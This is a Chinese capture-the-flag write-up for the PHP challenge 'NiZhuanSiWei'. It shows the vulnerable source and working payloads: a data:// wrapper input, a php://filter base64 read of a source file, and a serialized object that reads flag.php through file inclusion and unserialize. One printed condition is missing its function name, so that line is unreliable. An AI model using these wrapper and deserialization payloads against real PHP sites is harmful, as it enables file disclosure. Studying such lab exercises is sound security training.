[ZJCTF 2019]NiZhuanSiWei
php代码审计
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&( ($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
首先是第一层:
text,这里需要我们写入welcome to the zjctf这一串字符
这里我们可以使用data伪协议进行一个文本写入操作
text=data://text/plain,welcome to the zjctf
发现写入成功,进行了echo
第二层:
根据题目要求需要我们通过include进行文件读取操作
因为include会把我们的伪协议进行执行,所以使用
php://filter/read=convert.base64-encode/resource=useless.php
可以读取到useless.php的内容
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
构造序列化payload
<?php class Flag { //flag.php public $file; public function __tostring() { if (isset($this->file)) { echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag; $a->file = 'flag.php'; echo serialize($a);
得到序列化后的值O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
根据useless.php的提示,通过这个值我们可以 echo file_get_contents($this->file)传到password里面
然后,直接得到flag.php的值
这里注意下,在最后得到答案的过程需要将php:filter去掉
要不然包含的就是一堆字符了,应该把useless.php引入进来。